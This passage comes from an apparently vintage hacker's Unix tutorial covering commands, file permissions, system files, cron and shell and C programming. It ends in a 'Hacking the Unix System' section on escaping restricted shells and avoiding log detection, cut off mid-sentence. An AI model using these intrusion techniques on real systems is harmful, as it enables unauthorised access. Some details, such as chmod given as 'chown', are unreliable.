the ps + command, explained next. + +ps -This command displays information about system processes. + + Options: + u -this displays information on a specific user's processes. For + instance, to display the root account's processes: + $ ps -uroot + + PID TTY TIME CMD + 1234 console 01:00 sh + 1675 ? 00:00 cron + 1687 console 13:00 who + 1780 tty09 12:03 sh + + Now, to explain that: The first field is the process number. + Each and every time you start a processes, running a program, + issueing a command, etc., that process is assigned a unique + number. The second is which terminal the process is being run + on. The third field is when the process was started. The last + field is the base name of the program or command being run. + A user's lowest process number is his login (shell) process. + Note that the lowerst process in the above example is 1234. + This process is being run on the console tty, which means the + superuser is logged on at the system console. Note the ? as the + tty in the next entry, for the cron process. You can ignore any + processes with a question mark as the terminal. These processes + are not bewing carried out by a user; they are being carried + out by the system under that user's id. Next, note the entry + for process # 1687, on the console terminal, "who". this means + that the superuser is executing the who command...which means + he is currently actively on-line. The next entry is interest- + ing...it shows that the root user has a shell process on the + terminal tty09! This means that someone else is logged in + under the root account, on tty09. If more than one person is + using an account, this option will display information for all + of them, unless you specify the next option... + + t -This allows you to select processes run on a specific term- + inal. For example: + $ps -t console + will show all the processes currently being run on the console. + + Example: + Remember, options can usually be combined. This will show all + the root user's processes being run on the system console: + $ ps -uroot -tconsole + + PID TTY TIME CMD + 1234 console 01:00 sh + 1687 console 13:00 who + $ + +kill -Kills processes. Syntax: kill [-#] process#. You must know the process + number to kill it. You can, optionally, specify an option of 1-9, to + determine the power of the kill command. Certain kinds of processes, + like shell processes, require more power to kill. Kill -9 will stop any + process. You must have superuser capabilities fo kill another user's + processes (unless he's using your account). + + Example: + $kill -9 1234 + 1234 killed. + $ + +write -This command is for on-line realtime user to user communications. To + communicate with a user, type "write ". If more than one + person is logged in under that user name, you must specify a specific + terminal you wish to speak to. When you do this, the person you wish + to communicate with will see: + Message from [your account name] tty## [<--your terminal] + + Now you can type messages, and they will be displayed on that person's + terminal when you press return. When you are finished, press control-D + to quit. + + Example: + $ write root + Fuck you I'm a hacker! [This is not advised.] + ^d + $ + +mail -The Unix mail facilities, used to send/receive mail. To send mail, + type "mail ". Enter your message and press control-d to send. + To read your mail, type "mail". Your first letter will be displayed, + and then you will be given a "?" prompt. + Here are the legal commands you give at this point: + ## -Read message number ##. + d -Delete last message read. + + -Go to next message. + - -Move back one message. + m -Send mail to user. + s -Save last message read. You can specify the name of the file + to which it is saved, or it will be saved to the default file, + mbox. + w -Same as s, but will save the message without the mail file + header. + x -Exit without deleting messages that have been read. + q -Exit, deleting messages that have been read. + p -Print last message read again. + ? -Lists these commands. + + Examples: + To send mail: + $ mail root + Hi bill! This is a nice system. + -John + ^d + $ + To read mail: + $ mail + From john Thu Mar 13 02:00:00 1986 + Hi bill! This is a nice system. + -John + ? d + Message deleted. + ?q + $ + +crypt -This is the Unix file encryption utility. Type "crypt". You will then + be prompted to enter the password. You then enter the text. Each line + is encrypted when you press return, and the encrypted form is displayed + on the screen. So, to encrypt a file, you must use I/O redirection. + Type "crypt [password] < [file1] > [file2]". This will encrypt the con- + tents of file1 and place the encrypted output in file2. If file 2 does + not exist, it will be created. + +passwd -This is the command used to change the password of an account. The + format is "passwd ". You must have superuser capabilities to + change the password for any account other than the one you are logged + in under. To change the password of the account you are currently + using, simply type "passwd". You will then be prompted to enter the + current password. Next, you will be asked to enter the new password. + Then you will be asked to verify the new password. If you verify the + old password correctly, the password change will be complete. (Note: + some systems use a security feature which forces you to use at least + 2 non-alphanumeric characters in the password. If this is the case with + the system you are on, you will be informed so if you try to enter a + new password that does not contain at least 2 non-alphanumeric char- + acters.) + +su -This command is used to temporarily assume the id of another account. + the format is "su ". If you don't specify an account, the + default root is assumed. If the account has no password, you will then + assume that account's identity. If it does have a password, you will + be prompted to enter it. Beware of hacking passwords like this, as the + system keeps a log of all attempted uses, both successful and un- + successful, and which account you attempted to access. + +mkdir -This command creates a directory. the format is "mkdir ". + +rmdir -This command deletes a directory. The directory must be empty first. + The format is "rmdir ". + +mv -Renames a file. The syntax is "mv [oldname] [newname]". You can use + full pathnames, but the new name must have the same pathname as the + old name, except for the filename itself. + +------------------------------------------------------------------------------- + Further help can usually be gained from the system itself. Most systems +feature on-line entries from the Unix System User's Manual. You can read these +entries using the man command. The format is "man ". Some Unix System +V systems also feature a menu-driven help facility. Simply type "help" to +access it. This one will provide you with a list of commands, as well as with +the manual entries for the commands. +------------------------------------------------------------------------------- + +UNIX FILE AND DIRECTORY PROTECTIONS +----------------------------------- + Every Unix account is assigned a specific user number, and a group +number. This is how the system identifies the user. Therefore, 2 accounts with +different usernames but the same user number would be considered by the system +to be the same id. These user and group numbers are what Unix uses to determine +file and directory access privileges. + Unix has three different file/directory permissions: read, write, and +execute. This how these permissions affect access to files: + +read -Allows a user to view the contents of the file. +write -Allows a user to change the contents of a file. +execute -Allows a user to execute a file (if it is an executable type of file; + if it isn't, the user will get an error when trying to execute it). + +This is how these permissions affect access to directories: + +read -Allows a user to list out the files in a directory (ls). +write -Allows a user to save and delete files in this directory. +execute -If a user has execute access to a directory, he can go to that dir- + ectory with the cd command. If he also has read permission to that dir- + ectory, he can also copy files from it and gain information on the + permissions for that directory and the files it contains, with the "l" + option to the ls command, which will be explained soon. + + Unix divides users into 3 classes: user (the owner of the file or dir- +ectory), group (members of the owner's group), and other (anyone who doesn't +fit into the first two classes). You can specify what permissions to give to a +file for each class of user. + To show the permissions of the files in a directory, use "ls -l". This +will list the contents of the directory (as in ls), and will show each's +permissions. For example: + $ls + bin startrek + $ ls -l + drwxrwxrwx 1 bin sys 12345 Mar 10 01:30 bin + -rwxr-xr-- 1 guest users 256 Mar 20 02:25 startrek + + In the above example, the directory we are in contains a subdirectory +called bin and a file called "startrek". Here is an explantion of the fields: +The first field contains the file's type and permissions. Look at the first +field of the first line, "drwxrwxrwx". Note the "d" at the begginning. Then see +the "-" at the begginging of the first field for the file startrek. This shows +the file type. "D" is a directory. "-" is a file. "c" is a device file. Now, +back to the first field of the first line again. Notice the "rwxrwxrwx". These +are the permissions. The permissions are divided into three groups: +[user][group][other]. R stands for read, w stands for write, and x stand for +execute. "rwxrwxrwx" means that all three classes of users, owner, group, and +other, have read, write, and execute permissions to the directory bin. Now look +at the second line. It reads "rwxr-xr--". Notice the "-"'s in the place of some +of the permissions. This means that the file was not given that permission. +Line 2 shows that the owner has read, write, and execute permissions for the +file startrek, members of the owner's group have read and execute permissions +but not write (notice the "-" in the place of the group part's w), and all +others have only read privileges ("r--"...there are hyphens in the place of the +others part's w and x). + Now, let's look at the other fields. The second field is a number (in +this case, the number is one for each line). This shows the number of copies of +this file on the system. The third field shows the name of the owner of file +(or directory). The fourth field shows the username of the owner of the file. +The fifth field, which is not shown on some systems, shows the name of the +owner's group.The sixth field shows the size of the file. the seventh field +shows the time and date the file was last modified. the last field shows the +name of the file or directory. + The command used to change file/directory permissions is chmod. There +are 2 ways to change permissions: symbolically and absolutely. This will +explain both. + When you change permissions symbolically, only the permissions you +specify to be added or deleted will be changed. The other permissions will +remain as they are. The format is: +chown [u, g, or o] [+ or -] [rwx] [file/directory name] +The following abbreviations are used: +u -User (the file or directory's owner) +g -Group (members of the owner's group) +o -Others (all others) +r -Read permission +w -Write permission +x -Execute permission + +You use u, g, and o to specify which group you wish to change the privileges +for. To add a permission, type "chown [class]+[permissions] [filename]". For +instance, to add group write permissions to the file startrek, type "chown g+w +startrek". To delete permissions, use the "-". For instance, to remove the +owner's write access to the file "startrek", type "chown u-w startrek". + + When you set file permissions absolutely, any permissions that you do +not give the file or directory are automatically deleted. The format for +setting permissions absolutely is "chown [mode number] filename". You determine +the mode number by adding together the code numbers for the permissions you +wish to give the file. Here are the permissions and their numbers: + +Others execute permission 1 +Others write permission 2 +Others read permission 4 + +Group execute permission 10 +Group write permission 20 +Group read permission 40 + +User (owner) execute permission 100 +User (owner) write permission 200 +User (owner) read permission 400 + + There are also two special file modes that can be set only absolutely. +These are the UID and GID modes. The UID mode, when applied to an executable +file, means that when another user executes the file, he executes it under the +user number of the owner (in other words, he runs the program as if he were the +owner of the file). If the file has its GID mode bit set, then when someone +executes the file, his group will temporarily be changed to that of the file's +owner. The permission number for the GID mode is 2000, and the number for the +UID mode is 4000. If the uid bit is set, there will be an "S" in the place of +the x in the owner permissions section when you check a file's permissions: +-rwSr-xr-x +If the uid bit is set, and the owner of the file has execute permissions, the S +will not be capitalized: +-rwsr-xr-x +If the gid bit is set, the same applies to the x in the section on group +permissions. + A short note here is in order on how these permissions affect superuser +accounts. They don't-unless the owner of the file is root. All superuser +accounts have the same user number, which means that the system considers them +all to be the same-that is, they are considered to be the root account. Thus, +superuser accounts are only bound by the protections of files and directories +that they own, and they can easily change the permissions of any files and +directories that they do not have the access to that they wish. + +SPECIAL UNIX FILES +------------------ + This section will detail the purposes of some files that are found on +all systems. There are quite a few of these, and knowing their uses and what +format their entries are in is very useful to the hacker. + +THE FILES +--------- + +/etc/passwd -This is the password file, and is THE single most important + file on the system. This file is where information on the + system's accounts are stored. Each entry has 7 fields: + + username:password:user#:group#:description:home dir:shell + + The first field, naturally, is the account's username. The + second field is the account's password (in an encrypted form). + If this field is blank, the account doesn't have a password. + The next field is the account's user number. The fourth field + is the account's group number. The fifth field is for a + description of the account. This field is used only in the + password file, and is often just left blank, as it has no + significance. The sixth field is the pathname of the account's + home directory, and the last field is the pathname of the + account's shell program. Sometimes you may see an account with + a program besides the standard shell programs (sh, csh, etc.) + as its shell program. These are "command logins". These + accounts execute these programs when logging in. For example, + the "who" command login would have the /bin/who program as its + shell. + Here is a typical-looking entry: + + root:hGBfdJYhdhflK:0:1:Superuser:/:/bin/sh + + This entry is for the root account. Notice that the encrypted + form of the password is 13 characters, yet the Unix passwords + are only 11 characters maximum. The last 2 characters are what + is called a "salt string", and are used in the encryption + process, which will be explained in more detail later. Now, + notice the user number, which is zero. Any account with a user + number of 0 has superuser capabilities. The group number is 1. + The account description is "superuser". The account's home dir- + ectory is the root directory, or "/". The account's shell is + the bourne shell (sh), which is kept in the directory /bin. + Sometimes you may see an entry in the password field like this: + :NHFfnldyNjh,21AB: + Notice the period after the 13th character, followed by 2 + digits and 2 letters. If an account has an entry like this, the + account has a fixed expiration date on its password. The first + digit, in this case 2, shows the maximum number of weeks that + the account can keep the same password. The second digit shows + how many weeks must pass before the account can change its + password. (This is to prevent users from using the same old + password constantly by changing the password when forced to and + then changing it back immediately.) The last 2 characters are + an encrypted form of when the password was last changed. + Other unusual password field entries you might encounter are: + :: + :,21: + The first entry means that the account has no password. The + second entry means that the account has no password yet, but + has a fixed expiration date that wil begin as soon as a pass- + word is given to it. + Now, for an explanation of how the Unix system encrypts + the passwords. The first thing any hacker thinks of is trying + decrypt the password file. This is as close to impossible as + anything gets in this world. I've often heard other "hackers" + brag about doing this...this is the biggest lie since Moses + said "I did it". The encryption scheme is a variation on the + DES (Data Encryption Standard). When you enter the command + passwd (to change the password), the system will form a 2 + character "salt string" based on the process number of the + password command you just issued. This 2-character string pro- + duces a slight change in the way the password is encrypted. + There are a total of 4096 different variations on the + encryption scheme caused by different salt string characters. + This is NOT the same encryption scheme used by the crypt + utility. The password is NEVER decrypted on the system. When + you log on, the password you enter at the password prompt is + encrypted (the salt string is taken from the password file) + and compared to the encrypted entry in the password file. The + system generates its own key, and as of yet, I have not + discovered any way to get the key. The login program does + not encrypt the password you enter itself, it does so, I + believe, by a system call. + +/etc/group -This is the group file. This allows the superuser to give + certain accounts group access to groups other than their own. + Entries are in the format: + + group name:password:group number:users in this group + + The first field is the name of the group. The second is the + field for the group password. In all my experience with Unix, + I have never seen the password feature used. The third is the + group's number. The fourth field is a list of the users who + group access to this group. (Note: this can include users whose + group number is different from the number of the group whose + entry you are reading in the group file.) The usernames are + separated by commas. Here's an example: + + sys::2:root,sys,adm,lp + + To change to a new group identity, type "newgrp [group]". If + the group has a password, you must enter the proper password. + You cannot change to another group if you are not listed as a + member of that group in the group file. + + +/dev/console -This is the device file for the system console, or the + system's main terminal. + +/dev/tty## -The device files for the system's terminals are usually in + the form tty##, such as tty09, and sometimes ttyaa,ttyab, etc. + Some ways to make use of the Unix system's treatment of devices + as files will be explored in the section on Hacking Unix. When + these files are not in use by a user (in other words, no one's + logged onto this terminal), the file is owned by root. While a + user is logged onto a terminal, however, ownership of its + device file is temporarily transferred to that account. + +/dev/dk## -These are the device files for the system's disks. + +login files -There are special files that are in a user's home directory + that contain commands that are executed when the user logs in. + The name of the file depends on what shell the user is using. + Here are the names of the files for the various shells: + + Shell File + ----- ---- + sh .profile + csh .cshrc + ksh .login + rsh .profile + + Some systems also use a file called ".logout" that contains + commands which are executed upon logoff. + These types of files are called shell scripts, and will + will be explained in the section on Unix Software Development's + explanation of shell programming. +/usr/adm/sulog -This is a log of all attempted uses of the su utility. It + shows when the attempt was made, what account made it, and + which account the user attempted to assume, and whether or not + the attempt was successful. +/usr/adm/loginlog + or +/usr/adm/acct/sum/loginlog- This is a log of all logins to the system. This + only includes the time and the account's username. + +mbox -These are files in the home directories of the system's users, + that contain all the mail messages that they have saved. + +/usr/mail/ -These files in the directory /usr/mail are named after + system accounts. They contain all the unread mail for + the account they are named after. +/dev/null -This is the null device file. Anything written to this file is + just lost forever. Any attempt to read this file will result in + an immediate control-D (end of file) character. +/tmp -The directory /tmp provides storage space for temporary files created + by programs and other processes. This directory will always have + rwxrwxrwx permissions. Examining these files occasionally reveals some + interesting information, and if you know what program generates them + and the format of the information in the file, you could easily change + the info in the files, thereby changing the outcome of the program. + +THE CRON UTILITIES +------------------ + An understanding of the cron utilities will be necessary to understand +certain parts of the section on Hacking Unix. This section will give a detailed +explanation of the workings of the cron utilities. + The cron utility is a utility which carries out tasks which must be +performed on a periodic basis. These tasks, and the times when they are to be +carried out, are kept in files in 2 directories: /usr/lib and +/usr/spool/cron. + The file crontab in the directory /usr/lib contains entries for system +tasks that must be performed on a periodic basis. The format for the entries in +this file is: + +minute hour dayofmonth monthofyear dayofweek commandstring + +The first field is the minutes field. This is a value from 0-59. +The second field is the hour field, a value from 0-23. +The third field is the day of the month, a value from 1-31. +The fifth field is the month of the year, a value from 1-2. +The sixth field is the day of the week, a value from 1-7, with monday being 1. +The seventh field is the pathname and any arguments of the task to be carried +out. + +An asterisk in a field means to carry out the task for every value of that +field. For instance, an asterisk in the minutes field would mean to carry out +that task every minute. Here's an example crontab entry: + +0 1 * * * /bin/sync + +This runs sync command, which is kept in the directory bin, at 1 am every day. +Commands in the file /usr/lib/crontab are performed with root privileges. + in the directory /usr/spool/crontabs, you will find files named after +system accounts. These files contain cron entries which are the same as those +in the file /usr/lib/crontab, but are carried out under the id of the user the +file is named after. The entries are in the same format. + +BEWARE! When modifying cron files- cron activity is logged! All cron activity +is logged in the file /usr/adm/cronlog. I've found, however, that on most +systems, this file is almost never checked. + +UNIX SOFTWARE DEVELOPMENT +------------------------- + The Unix operating system was initially created as an enviroment for +software development, and that remains its main use. This section will detail +some of the os's main facilities for software development, the C compiler and +shell programming, and their related utilities. A few of the other languages +will be briefly touched upon at the end of this section, also. + +SHELL PROGRAMMING +----------------- + The shell is more than a simple command interpreter. It is also a +sophisticated programming tool, with variables, control structures, and the +features of just about any other programming language. Shell programs are +called scripts. Scripts are just text files which contain the names of commands +and programs. When the script is executed, the command and programs whose names +it contains are executed as if you had typed in their names from your keyboard. +There are two ways to execute a shell script: if you have execute permission to +it, you can simply type in its name. Otherwise, (if you have read access to +it), you can type "sh [filename]". Here is a sample shell script: + +who +whoami + +As you can see, it contains the commands who and whoami. When you execute it, +you will see a list of the system's current users (the output of the who +command), and which account you are logged in under (the output of the whoami +command). + This will concentrate solely on shell programming. While shell +programming is essentially the same with all the shells, there are slight +syntax differences that make shell scripts incompatible with shells that they +were not specifically written for. + +SHELL VARIABLES +--------------- + Like any programming language, the shell can handle variables. To set +the value of a variable, type: + +[variable]=[value] + +For example: + +counter=1 + +This will assign the value "1" to the variable counter. If the variable counter +does not already exist, the shell will create it. Note, that there are no +"numeric" variables in shell programming- all the variables are strings. For +instance, we could later type: + +counter=This is a string + +And counter would now be equal to "This is a string". There is a command called +"expr", however, that will let you treat a variable as a numeric value, and +will be explained later. + When setting the value of a variable, you only use the variable name. +When you specify a variable as an argument to a command or program, however, +you must precede the variable with a dollar sign. For instance: + +user=root + +Now, we want to specify user as an argument to the command "ps -u". We would +type: + +ps -u$user + +Which would, of course, display the processes of the user "root". + +SPECIAL SHELL VARIABLES +----------------------- + There are certain vaiables which are already pre-defined by the shell, +and have special meaning to it. Here is a list of the more important ones and +their meanings to the shell: + +HOME -(Notice the caps. All pre-defined variables are in all-caps.) This + variable contains the pathname of the user's home directory. + +PATH -This is a good time to explain something which makes Unix a very + unique operating system. In Unix, there are no commands "built-in" to + the operating system. All the commands are just regular programs. The + PATH variable contains a list of the pathnames of directories. When you + type in the name of a command or program, the shell searches through + the directories listed in the PATH variable (in the order specified in + the variable) until it finds a program with the same name as the name + you just typed in. The format for the list of directories in the PATH + variable is: + + [pathname]:[pathname]:[pathname]... + + For example, the default searchpath is usually: + + /bin:/usr/bin:/usr/local + + A blank entry in the pathname, or an entry for ".", means to check the + directory the user is currently in. For instance, all these paths + contain blank or "." entries: + + .:/bin:/usr/bin [Notice . at begginning of path] + :/bin:/usr/bin [Notice that path begins with :] + /bin:/usr/bin: [Note that path ends with : ] + +PS1 -This variable contains the shell prompt string. The default is usually + "$" ("&" if you're using BSD Unix). If you have the "&" prompt, and + wish to have the dollar sign prompt instead, just type: + + PS1=$ + +TERM -This contains the type of terminal you are using. Common terminal + types are: + + ansi vt100 vt52 vt200 ascii tv150 + + And etc... Just type "TERM=[termtype]" to set your terminal type. + +COMMAND LINE VARIABLES +---------------------- + Command line variables are variables whose values are set to arguments +entered on the command line when you execute the shell script. For instance, +here is a sample shell script called "repeat" that uses command line variables: + +echo $1 +echo $2 +echo $3 + +The echo command prints out the values following it. In this case, it will +print out the values of the variables $1, $2, and $3. These are the command +line variables. For instance, $1 contains the value of the first argument you +entered on the command line, $2 contains the second, $3 contains the third, an +so on to infinity. Now, execute the script: + +repeat apples pears peaches + +The output from the "repeat" shell script would be: + +apples +pears +peaches + +Get the idea? + +SPECIAL COMMAND LINE VARIABLES +------------------------------ + There are 2 special command line variables, $O and $#. $O contains the +name of command you typed in (in the last example, $O would be repeat). $# +contains the number of arguments in the command line. (In the last example, $# +would be 3.) + +SPECIAL COMMANDS FOR SHELL PROGRAMS +----------------------------------- + These commands were added to the Unix os especially for shell +programming. This section will list them, their syntax, and their uses. + +read -This command reads the value of a variable from the terminal. The + format is: "read [variable]". For example, "read number". The variable + is not preceded by a dollar sign when used as an argument to this com- + mand. + +echo -This command displays information on the screen. For example, + "echo hello" would display "hello" on your terminal. If you specify + a variable as an argument, it must be preceded by a dollar sign, for + example "echo $greeting". + +trap -This command traps certain events, such as the user being disconnected + or pressing the break key, and tells what commands to carry out if they + occur. The format is: trap "commands" eventcodes. the event codes are: + 2 for break key, and 1 for disconnect. You can specify multiple com- + mands with the quotation marks, separating the commands with a semi- + colon (";"). For example: + + trap "echo 'hey stupid!'; echo 'don't hit the break key'" 2 + + Would echo "Hey stupid!" and "Don't hit the break key" if the user hits + the break key while the shell script is being executed. + +exit -This command terminates the execution of a shell procedure, and ret- + urns a diagnostic value to the enviroment. The format is: + "exit [value]", where value is 0 for true and 1 for false. The meaning + of the value parameter will become clear later, in the section on + the shell's provisions for conditional execution. If the shell script + being executed is being executed by another shell script, control is + passed to the next highest shell script. + +ARITHMETIC WITH EXPR +-------------------- + The expr command allows you to perform arithmetic on the shell +variables, and sends the output to the screen. (Though the output may be +redirected.) The format is: + +expr [arg] [function] [arg] [function] [arg]... + +Where [arg] may be either a value, or a variable (preceded by a dollar sign), +and [function] is an arithmetic operation, one of the following: + ++ -Add. +- -Subtract. +\* -Multiply. +/ -Divide. +% -Remainder from a division operation. + +For example: + +$ num1=3 +$ num2=5 +$ expr num1 + num2 + 8 +$ + +TEXT MANIPULATION WITH SORT +--------------------------- + The sort command sorts text by ASCII or numeric value. The command +format is: + +sort [field][option]... file + +where file is the file you wish to sort. (The sort command's input may be +redirected, though, just as its output, which is ordinarily to the screen, can +be.) The sort command sorts by the file's fields. If you don't specify any +specific field, the first field is assumed. for example, say this file +contained names and test scores: + +Billy Bob 10 +Tom McKann 5 +Doobie Kairful 20 + +the file's fields would be first name, last name, and score. So, to sort the +above file (called "students") by first name, you would issue the command: + +sort students + +And you would see: + +Billy Bob 10 +Doobie Kairful 20 +Tom McKann 5 + +If you wanted to sort the file's entries by another field, say the second field +of the file "students" (last names), you would specify: + +sort +1 students + +The +1 means to skip ahead one field and then begin sorting. Now, say we wanted +to sort the file by the 3rd field (scores). We would type: + +sort +2 students + +to skip 2 fields. But the output would be: + +Billy Bob 10 +Tom McKann 5 +Doobie Kairful 20 + +Notice that the shorter names came first, regardless of the numbers in the +second field. There is a reason for this- the spaces between the second and 3rd +fields are considered to be part of the 3rd field. You can tell the sort +command to ignore spaces when sorting a field, however, using the b option. The +format would be: + +sort +2b students + +but...another error! The output would be: + +Billy Bob 10 +Doobie Kairful 20 +Tom McKann 5 + +Why did the value 5 come after 10 and 20? Because the sort command wasn't +really sorting by numeric value- it was sorting by the ASCII values of the +characters in the third field, and 5 comes after the digits 1 and 2. We could +specify that the field be treated by its numerical value by specifying the n +option: + +sort +2n students + +Output: + +Tom McKann 5 +Billy Bob 10 +Doobie Kairful 20 + +Notice that if we use the n option, blanks are automatically ignored. + +We can also specify that sort work in the reverse order on a field. For +example, if we wanted to sort by last names in reverse order: + +sort +1r students + +Output: + +Tom McKann 5 +Doobie Kairful 20 +Billy Bob 10 + +By using pipes, you can direct the output of one sort command to the input of +yet another sort command, thus allowing you to sort a file by more than one +field. This makes sort an excellent tool for text manipulation. It is not, +however, the only one. Remember, you can use any Unix command or program in a +shell script, and there are many different commands for text manipulation in +Unix, such as grep (described in an earlier section on basic commands). +Experiment with the different commands and ways of using them. + +LOOPING +------- + The for/do loop is a simple way to repeat a step for a certain number +of times. The format is: + +for [variable] in [values] +do [commands] +done + +You do not precede the variable with a dollar sign in this command. The for/do +loop works by assigning the variable values from the list of values given, one +at a time. For example: + +for loopvar in 1 2 3 5 6 7 +do echo $loopvar +done + +On the first pass of the loop, loopvar would be assigned the value 1, on the +second pass 2, on the third pass 3, on the fourth pass 5, on the fifth pass 6, +and on the sixth pass 7. I skipped the number 4 to show that you do not have to +use values in numerical order. In fact, you don't have to use numerical +arguments. You could just as easily have assigned loopvar a string value: + +for loopvar in apples peaches pears +do echo "This pass's fruit is:" + echo $loopvar +done + +Note that you can also specify multiple commands to be carried out in the do +portion of the loop. + +SELECTIVE EXECUTION WITH CASE +----------------------------- + The case command allows you to execute commands based on the value of a +variable. The format is: + +case [variable] in + + [value]) commands + commands + commands;; + [value2]) commands + commands;; + [value3]) ...and so on + esac + +For example: + +case $choice in + 1) echo "You have chosen option one." + echo "This is not a good choice.";; + + 2) echo "Option 2 is a good choice.";; + + *) echo "Invalid option.";; + esac + +Now, to explain that: + If the variable choice's value is "1", the commands in the section for +the value 1 are carried out until a pair of semicolons (";;") is found. The +same if the value of choice is "2". Now, note the last entry, "*". This is a +wildcard character. This means to execute the commands in this section for any +other value of choice. Easac signals the end of the list of execution options +for case. + +DETERMINING TRUE/FALSE CONDITIONS WITH TEST +------------------------------------------- + The test command tests for various conditions of files and variables +and returns either a true value (0) or a false value (1), which is used in +conjuction with the if/then statements to determine whether or not a series of +commands are executed. There are several different formats for test, depending +on what kind of condition you are testing for. When using variables with test, +you must always precede the variable with a dollar sign. + +NUMERIC TESTS +------------- +Format: +test [arg1] option [arg2] + +the arguments can either be numbers or variables. + +OPTIONS TESTS TRUE IF +------- ------------- +-eq arg1=arg2 +-ne arg1<>arg2 +-gt arg1>arg2 +-lt arg1=arg2 +-le arg1<=arg2 + +FILETYPE TESTS +------------- +Format: +test [option] file or directory name + +OPTIONS TESTS TRUE IF +------- ------------- +-s file or directory exists and is not empty +-f the "file" is a file and not a directory +-d the "file" is really a directory +-w the user has write permission to the file/directory +-r the user has read permission to the file/directory + +CHARACTER STRING TESTS +---------------------- +Format: +test [arg1] option [arg2] +The arguments can be either strings of characters or variables with character +string values. + +OPTIONS TESTS TRUE IF +------- ------------- += arg1=arg2 +!= arg<>arg2 + +A note here about string tests. You must enclose the names of the variables in +quotation marks (like "$arg1") if you wish the test to take into consideration +spaces, otherwise space characters are ignored, and " blue" would be +considered the same as "blue". + +TESTING FOR THE EXISTANCE OF A STRING OF CHARACTERS +--------------------------------------------------- +Format: +test [option] arg +Arg is a variable. + +OPTIONS TESTS TRUE IF +------- ------------- +-z variable has a length of 0 +-n variable has a length greater than 0 + +COMBINING TESTS WITH -A AND -O +------------------------------ + These options stand for "and" (-a) and "or" (-o). They allow you to +combine tests, for example: + +test arg1 = arg2 -o arg1 = arg3 + +means that a true condition is returned if arg1=arg2 or arg1=arg3. + + +CONDITIONAL EXECUTION WITH IF/THEN/ELSE/ELIF +-------------------------------------------- +Format: +if [this condition is true] +then [do these commands] +fi + +Example: + +if test arg1 = arg2 +then echo "argument 1 is the same as argument 2" +fi + +This is pretty much self-explanatory. If the condition test on the if line +returns a true value, the the commands following "then" are carried out until +the fi statement is encountered. + +Format: +if [this condition is true] +then [do these commands] +else [do these commands] +fi + +Again, pretty much self explanatory. The same as the above, except that if the +condition isn't true, the commands following else are carried out, until fi is +encountered. + +Format: +if [this condition is true] +then [do these commands] +elif [this condition is true] +then [do these commands] +fi + +The elif command executes another condition test if the first condition test is +false, and if the elif's condition test returns a true value, the command for +its then statement are then carried out. Stands for "else if". + +WHILE/DO LOOPS +-------------- +Format: +while [this condition is true] +then [do these commands] +done + +Repeats the commands following "then" for as long as the condition following +"while" is true. Example: + +while test $looper != "q" +then read looper + echo $looper +done + +while will read the value of the variable looper from the keyboard and display +it on the screen, and ends if the value of looper is "q". + +SUMMARY +------- + This small tutorial by no means is a complete guide to shell +programming. Look at shell scripts on the systems you crack and follow their +examples. Remember, that you can accomplish a great deal by combining the +various control structures (such as having an if/then conditional structure +call up a while/do loop if the condition is true, etc.) and by using I/O +redirection, pipes, etc. My next Unix file will cover more advanced shell +programming, and examine shell programming on another popular shell, the +Berkely C shell. + +THE C COMPILER +-------------- + C is sort of the "official" language of Unix. Most of the Unix +operating system was written in C, and just about every system I've ever been +on had the C compiler. The command to invoke the c compiler is cc. The format +is "cc [filename]", where filename is the name of the file which contains the +source code. (The filename must end in .c) You can create the source code file +with any of the system's text editors. The include files, stdio.h and others, +are kept in a directory on the system. You do not have to have a copy of +these files in your current directory when you compile the file, the compiler +will search this directory for them. If you wish to include any files not in +the include library, they must be in your current directory. The compiled +output will be a file called "a.out" in your current directory. + +COMPILING INDIVIDUAL MODULES +---------------------------- + If you're working on a very large program, you will probably want to +break it up into small modules. You compile the individual modules with the -c +option, which only generates the object files for the module. Then, use the +link editor to combine and compile the object files. The object files will be +generated with the same name as the source files, but the file extension will +be changed from .c to .o When you have created all the object files for all +of the modules, combine them with the ld (link editor) like this: + +ld /lib/crtO.o [module] [module]... -lc + +which will give you the final, compiled program, in a file named a.out. For +example: + +ld /lib/crtO.o part1.o part2.o -lc + +You must remeber to include /lib/crtO.o and the -lc parts in the command, in +the order shown. Also, the object files must be specified in the ld command +in the order that they must be in the program (for instance, if part1 called +part2, part2 can't be BEFORE part1). + +CHECKING FOR ERRORS IN C PROGRAMS +--------------------------------- + The lint command checks for errors and incompatibility errors in C +source code. Type "lint [c source-code file]". Not all of the messages returned +by lint are errors which will prevent the program from compiling or executing +properly. As stated, it will report lines of code which may not be +transportable to other Unix systems, unused variables, etc. + +C BEAUTIFIER +------------ + The cb (C beautifier) program formats C source code in an easy to read, +"pretty" style. The format is "cb [file]". The output is to the screen, so if +you want to put the formatted source code into a file, you must redirect the +output. + +SPECIAL C COMMANDS +------------------ + The Unix C compiler has a command called system that executes Unix +commands and programs as if you had typed in the commands from the keyboard. +The format is: + +system("command line") + +Where command line is any command line you can execute from the shell, such as: + +system("cat /etc/passwd") + +Another command which performs a similar function is execvp. The format is: + +execvp("command") + +An interesting trick is to execute a shell program using execvp. This will make +the program function as a shell. + +HACKING THE UNIX SYSTEM +----------------------- + This is it, kiddies, the one you've waded through all that rodent +nonsense for! This section will describe advanced hacking techniques. Most of +these techniques are methods of defeating internal security (I.E. security once +you're actually inside the system). There is little to be said on the subject +of hacking into the system itself that hasn't already been said in the earlier +sections on logging in, Unix accounts, and Unix passwords. I will say this +much- it's easier, and faster, to password hack your way from outside the +system into a user account. Once you're actually inside the system, you will +find it, using the techniques described in this section, almost easy to gain +superuser access on most systems. (Not to mention that nothing is quite as +rewarding as spending 3 days hacking the root account on a system, only to +receive the message "not on console-disconnecting" when you finally find the +proper password.) If you do not have a good understanding of the Unix operating +system and some of its more important utilities already, you should read the +earlier parts of this file before going on to this section. + +OVERCOMING RSH RESTRICTIONS +--------------------------- + The rsh (restricted Bourne shell) shell attempts to limit the commands +available to a user by preventing him from executing commands outside of his +searchpath, and preventing him from changing directories. It also prevents you +from changing the value of shell variables directly (i.e. typing +"variable=value"). There are some easy ways to overcome these restrictions. + You can reference any file and directory in the system by simply using +its full pathname. You can't change directories like this, or execute a file +that is outside of your searchpath, but you can do such things as list out the +contents of directories, edit files in other directories, etc. (If you have +access to the necessary commands.) + The biggest flaw in rsh security is that the restrictions that are +described above ignored when the account's profile file is executed upon logon. +This means that, if you have access to the edit command, or some other means of +modifying your account's profile, you can add a line to add a directory to your +searchpath, thereby letting you execute any programs in that directory. The +restriction on changing directories is also ignored during logon execution of +the profile. So, if you absolutely, positively HAVE to go to another directory, +you can add a cd command your .profile file. + +OVERCOMING COPY AND WRITE RESTRICTIONS +-------------------------------------- + This is a simple trick. If you have read access t a file, but cannot +copy it because of directory protections, simply 